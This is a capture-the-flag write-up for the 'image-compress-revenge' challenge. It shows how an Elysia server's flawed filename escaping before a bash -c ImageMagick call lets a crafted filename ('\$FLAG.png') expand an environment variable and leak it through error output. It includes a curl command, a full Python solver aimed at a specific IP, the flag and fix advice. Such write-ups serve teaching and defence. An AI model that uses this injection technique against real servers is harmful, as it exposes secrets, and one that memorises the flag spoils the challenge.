# image-compress-revenge
## TL;DR
The server runs ImageMagick through bash -c and tries to escape the uploaded filename. By uploading a file whose filename contains a backslash before $ (\$FLAG.png), their escaping turns it into \\$FLAG.png inside a double-quoted bash string, which causes $FLAG to be expanded by bash. The app returns ImageMagick stderr in a JSON error, so the expanded path leaks the flag.
## Source review
The handler is here:
tsimport { Elysia, t } from "elysia"; import { unlink } from "fs/promises"; import { run } from "./lib/shell.ts"; const CHARS_TO_ESCAPE = "$'\"(){}[]:;/&`~|^!? \n".split(""); export function escape(source: string): string { let s = source; for (const char of CHARS_TO_ESCAPE) { s = s.replaceAll(char, "\\" + char); } return s; } const app = new Elysia() .get("/", () => { return Bun.file("./public/index.html"); }) .post( "/compress", async ({ body, set }) => { const { image, quality } = body; if (image.name.includes("..")) { throw new Error(`Invalid file name: ${image.name}`); } const inputPath = `./tmp/inputs/${escape(image.name)}`; const outputPath = `./tmp/outputs/${escape(image.name)}`; console.log(escape(image.name)); try { await Bun.write(inputPath, image); await run( `magick "${inputPath}" -quality ${quality} -strip "${outputPath}"`, ); const compressed = await Bun.file(outputPath).arrayBuffer(); set.headers["Content-Type"] = image.type; set.headers["Content-Disposition"] = `attachment; filename="${image.name}"`; return new Response(compressed); } catch (error) { set.status = 500; return { error: `Failed to compress image: ${error}` }; } finally { await unlink(inputPath).catch(() => {}); await unlink(outputPath).catch(() => {}); } }, { body: t.Object({ image: t.File({ "file-type": "image/*", maxSize: "10m", }), quality: t.Numeric({ minimum: 1, maximum: 100, default: 85, }), }), }, ); app.listen(process.env.PORT ?? "3000", (server) => { console.log( `🦊 server is running at http://${server.hostname}:${server.port}`, ); });
It builds paths from the uploaded filename:
inputPath = ./tmp/inputs/${escape(image.name)}outputPath = ./tmp/outputs/${escape(image.name)}
Then it runs:
magick "${inputPath}" -quality ${quality} -strip "${outputPath}"
The command execution helper in is:
spawn(["bash", "-c", command], ...)
So the command string is parsed by bash, meaning bash expansions matter.
## Vulnerability
The custom escape function includes $ in the escaped characters list, so it replaces $ with \$.
However, it does not escape backslashes (\). If we supply a filename that already contains a backslash before $, e.g.:
image.name = "\\$FLAG.png"(literally backslash +$FLAG.png)
Then:
escape(image.name)turns$into\$but leaves the original\intact- resulting string:
"\\\\$FLAG.png"(two backslashes then$FLAG.png)
That string is embedded into a bash command within double quotes:
magick "./tmp/inputs/\\\\$FLAG.png" ...
In bash parsing inside double quotes:
\\\\becomes a literal\$FLAGis now unescaped and expands to the environment variable
Since the container sets FLAG in the environment, the expanded filename becomes:
./tmp/inputs/\TSGCTF{...}.png
## Why the service still leaks while “broken”
In the remote deployment, ImageMagick fails before writing output because ./tmp/outputs/... doesn’t exist (tmpfs + missing directory creation). This is fine for the exploit:
- the server catches the ImageMagick failure
- it includes stderr (which contains the expanded path) in a JSON error
So we exfiltrate the flag from the error message, not from the output file.
## Exploit
### curl
You only need any valid PNG as file content; the important part is the multipart filename:
bashcurl -sS -X POST 'http://35.221.67.248:10502/compress' \ -F 'quality=85' \ -F 'image=@/tmp/ok.png;filename=\$FLAG.png;type=image/png'
### Python solver
A clean solver is included below:
## Flag
TSGCTF{d0llar_s1gn_1s_mag1c_1n_sh3ll_env1r0nm3nt_and_r3ad0nly_15_r3qu1r3d_f0r_c0mmand_1nj3c710n_chall3ng35}
## Fix
- Avoid
bash -cfor building commands; use argument arrays (no shell). - Use robust escaping for the correct context, or better: don’t interpolate filenames into shell strings.
- Reject backslashes in filenames, or normalize filenames server-side.
#!/usr/bin/env python3
import os
import re
import sys
import requests
FLAG_RE = re.compile(r"TSGCTF\{[^}]*\}")
def make_minimal_png() -> bytes:
"""A tiny valid PNG payload.
Any valid image works; we just need the server to reach the `magick ...` call.
"""
return (
b"\x89PNG\r\n\x1a\n"
b"\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1f\x15\xc4\x89"
b"\x00\x00\x00\x0cIDATx\x9cc````\xf8\x0f\x00\x01\x05\x01\x02\xa5\x85\x7f\x8e"
b"\x00\x00\x00\x00IEND\xaeB`\x82"
)
def extract_flag(text: str) -> str | None:
m = FLAG_RE.search(text)
return m.group(0) if m else None
def main() -> int:
base_url = os.environ.get("URL", "http://35.221.67.248:10502").rstrip("/")
target = base_url + "/compress"
# Core trick:
# - If the filename includes a backslash before '$' ("\\$FLAG.png"), the server's
# escape() turns '$' into '\\$' but doesn't escape the existing backslash.
# - The resulting command includes "\\\\$FLAG.png" inside double-quotes.
# - bash parses "\\\\" down to a literal backslash and *then* expands $FLAG.
# - The service returns stderr in JSON on failure, so the expanded path leaks the flag.
crafted_filename = r"\$FLAG.png"
files = {
"image": (crafted_filename, make_minimal_png(), "image/png"),
}
data = {"quality": "85"}
r = requests.post(target, files=files, data=data, timeout=20)
text = r.text
flag = extract_flag(text)
if flag:
print(flag)
return 0
print(text)
print("\n[!] Flag not found. If the service behavior changed, re-check the error output.")
return 1
if __name__ == "__main__":
raise SystemExit(main())Comments(0)
No comments yet. Be the first to share your thoughts!